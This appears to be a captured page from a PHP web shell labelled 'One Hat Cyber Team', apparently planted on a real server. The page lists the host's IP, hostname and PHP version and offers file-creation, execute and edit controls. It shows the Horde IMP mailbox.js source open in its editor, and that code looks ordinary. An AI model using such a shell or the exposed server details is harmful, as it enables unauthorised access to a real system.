⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.50
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
js
/
Edit File: mailbox.js
/** * Basic view mailbox page. * * @author Michael Slusarz <slusarz@horde.org> * @copyright 2014-2015 Horde LLC * @license GPL-2 (http://www.horde.org/licenses/gpl) */ var ImpMailbox = { // The following variables are defined in PHP code: // pop3, text, unread countSelected: function() { return $('messages').select('[name="buid[]"]').findAll(Form.Element.getValue).size(); }, selectRow: function(id, select) { if (id.readAttribute('id')) { [ id ].invoke(select ? 'addClassName' : 'removeClassName', 'selectedRow'); } id.down('INPUT.checkbox').setValue(select); }, submit: function(actID) { switch (actID) { case 'filter_messages': // No-op break; default: if (!this.countSelected()) { alert(this.text.submit); return; } break; } switch (actID) { case 'delete_messages': if (this.pop3 && !confirm(this.text.delete_messages)) { return; } break; case 'spam_report': if (!confirm(this.text.spam_report)) { return; } break; case 'innocent_report': if (!confirm(this.text.innocent_report)) { return; } break; } $('actionID').setValue(actID); $('messages').submit(); }, selectRange: function(e) { // elt = checkbox element var elt = e.element(), tr = elt.up('TR'), checked = $F(elt), end, start; if (this.startrange && e.shiftKey) { if (this.startrange != elt) { // Dirty trick - use position in page to determine which way // to traverse if (this.startrange.offsetTop < tr.offsetTop) { start = this.startrange.next(); end = tr; } else { start = tr; end = this.startrange.previous(); } do { this.selectRow(start, checked); if (start == end) { break; } start = start.next(); } while (start); } } else { this.selectRow(tr, checked); this.cursor = tr; } this.startrange = tr; }, updateMboxes: function(form) { var tm1 = $('targetMailbox1'), tm2 = $('targetMailbox2'); if (tm2) { tm1.selectedIndex = tm2.selectedIndex = (form == 1) ? tm1.selectedIndex : tm2.selectedIndex; } }, _transfer: function(actID) { var elt, newMbox, target, tmbox; if (this.countSelected()) { elt = $('targetMailbox1'); target = $F(elt); tmbox = $('targetMbox'); tmbox.setValue(target); // Check for a mailbox actually being selected. if ($(elt[elt.selectedIndex]).hasClassName('flistCreate')) { newMbox = prompt(this.text.newmbox, ''); if (newMbox !== null && !newMbox.empty()) { $('newMbox').setValue(1); tmbox.setValue(newMbox); this.submit(actID); } } else if (target.empty()) { alert(this.text.target_mbox); } else if (target.startsWith("notepad\0") || target.startsWith("tasklist\0")) { this.actIDconfirm = actID; HordeDialog.display({ cancel_text: this.text.no, form_id: 'RB_ImpMailboxConfirm', noinput: true, ok_text: this.text.yes, text: this.text.moveconfirm }); } else { this.submit(actID); } } else { alert(this.text.selectone); } }, flagMessages: function(form) { var f1 = $('flag1'), f2 = $('flag2'); if ((form == 1 && !$F(f1).empty()) || (form == 2 && !$F(f2).empty())) { if (this.countSelected()) { $('messages').down('[name=flag]').setValue((form == 1) ? $F(f1) : $F(f2)); this.submit('flag_messages'); } else { if (form == 1) { f1.selectedIndex = 0; } else { f2.selectedIndex = 0; } alert(this.text.selectone); } } }, filterMessages: function(form) { var f1 = $('filter1'), f2 = $('filter2'); if ((form == 1 && !$F(f1).empty()) || (form == 2 && !$F(f2).empty())) { $('messages').down('[name=filter]').setValue((form == 1) ? $F(f1) : $F(f2)); this.submit('filter_messages'); } }, getMessage: function(id, offset) { if (!offset) { return id; } var mlist = $H(this.messagelist).keys(), i = mlist.indexOf(id), j = i + offset; if (i != -1) { if (j >= 0 && j < mlist.length) { return mlist[j]; } } return ''; }, changeHandler: function(e) { var id = e.element().readAttribute('id'); if (id) { if (id.startsWith('flag')) { this.flagMessages(id.substring(4)); } else if (id.startsWith('filter')) { this.filterMessages(id.substring(6)); } else if (id.startsWith('targetMailbox')) { this.updateMboxes(id.substring(13)); } } }, clickHandler: function(e) { var elt = e.element(); $w(elt.className).each(function(c) { switch (c) { case 'moveAction': this._transfer('move_messages'); e.memo.stop(); break; case 'copyAction': this._transfer('copy_messages'); e.memo.stop(); break; case 'permdeleteAction': if (confirm(this.text.delete_messages)) { this.submit('delete_messages'); } e.memo.stop(); break; case 'deleteAction': this.submit('delete_messages'); e.memo.stop(); break; case 'undeleteAction': this.submit('undelete_messages'); e.memo.stop(); break; case 'blacklistAction': this.submit('blacklist'); e.memo.stop(); break; case 'whitelistAction': this.submit('whitelist'); e.memo.stop(); break; case 'forwardAction': this.submit('fwd_digest'); e.memo.stop(); break; case 'redirectAction': this.submit('redirect_messages'); e.memo.stop(); break; case 'spamAction': this.submit('spam_report'); e.memo.stop(); break; case 'innocentAction': this.submit('innocent_report'); e.memo.stop(); break; case 'viewAction': this.submit('view_messages'); e.memo.stop(); break; case 'templateeditAction': switch (this.countSelected()) { case 0: alert(this.text.selectone); break; case 1: this.submit('template_edit'); break; default: alert(this.text.selectonlyone); break; } e.memo.stop(); break; case 'checkbox': this.selectRange(e.memo); break; } }, this); switch (elt.readAttribute('id')) { case 'checkheader': if (e.memo.element() == elt) { $('checkAll').checked = !$('checkAll').checked; } $('messages').select('TABLE.messageList TR[id]').each(function(i) { this.selectRow(i, $F('checkAll')); }, this); break; case 'delete_vfolder': this.lastclick = elt.readAttribute('href'); HordeDialog.display({ cancel_text: this.text.no, form_id: 'RB_ImpMailbox', noinput: true, ok_text: this.text.yes, text: this.text.delete_vfolder }); e.memo.stop(); break; case 'empty_mailbox': this.lastclick = elt.readAttribute('href'); HordeDialog.display({ cancel_text: this.text.no, form_id: 'RB_ImpMailbox', noinput: true, ok_text: this.text.yes, text: this.text.delete_all }); e.memo.stop(); break; } if (elt.match('TH') && elt.up('TABLE.messageList') && !e.memo.element().match('A') && elt.down('A')) { document.location.href = elt.down('A').href; e.memo.hordecore_stop = true; } }, keyDownHandler: function(e) { var elt = e.element(), key = e.keyCode, loc, search, tmp; if (e.altKey || e.ctrlKey) { if (!(key == Event.KEY_UP || key == Event.KEY_DOWN)) { return; } if (!this.cursor) { this.cursor = elt.up('TABLE.messageList TR'); } if (this.cursor) { switch (key) { case Event.KEY_UP: tmp = this.cursor.previous(); if (!tmp.readAttribute('id')) { tmp = this.cursor.up('TABLE.messageList').previous('TABLE.messageList'); if (tmp) { tmp = tmp.select('TR[id]').last(); } else { search = 'last'; } } this.cursor = tmp; break; case Event.KEY_DOWN: tmp = this.cursor.next(); if (!tmp) { tmp = this.cursor.up('TABLE.messageList').next('TABLE.messageList'); if (tmp) { tmp = tmp.select('TR[id]').first(); } else { search = 'first'; } } this.cursor = tmp; break; } } else { search = key == Event.KEY_DOWN ? 'first' : 'last'; } if (search) { tmp = $('messages').select('TABLE.messageList TR[id]'); this.cursor = (search == 'first') ? tmp.first() : tmp.last(); } this.cursor.down('TD A.mboxSubject').focus(); if (e.altKey) { this.selectRow(this.cursor, !$F(this.cursor.down('INPUT.checkbox'))); } } else if (key == 32 && this.cursor) { this.selectRow(this.cursor, !$F(this.cursor.down('INPUT.checkbox'))); } else if (!e.shiftKey) { if (key == Event.KEY_LEFT && $('prev')) { loc = $('prev'); } else if (key == Event.KEY_RIGHT && $('next')) { loc = $('next'); } if (loc) { document.location.href = loc.readAttribute('href'); } return; } else { return; } e.stop(); }, dialogClickHandler: function(e) { switch (e.element().identify()) { case 'RB_ImpMailbox': window.location = this.lastclick; break; case 'RB_ImpMailboxConfirm': this.submit(this.actIDconfirm); break; } }, onDomLoad: function() { HordeCore.initHandler('click'); if (Prototype.Browser.IE) { $('flag1', 'filter1', 'targetMailbox1', 'flag2', 'filter2', 'targetMailbox2').compact().invoke('observe', 'change', this.changeHandler.bindAsEventListener(this)); } else { document.observe('change', this.changeHandler.bindAsEventListener(this)); } } }; document.observe('dom:loaded', ImpMailbox.onDomLoad.bind(ImpMailbox)); document.observe('HordeCore:click', ImpMailbox.clickHandler.bindAsEventListener(ImpMailbox)); document.observe('keydown', ImpMailbox.keyDownHandler.bindAsEventListener(ImpMailbox)); document.on('submit', '.navbarselect', Event.stop); document.observe('HordeDialog:onClick', ImpMailbox.dialogClickHandler.bindAsEventListener(ImpMailbox));
Simpan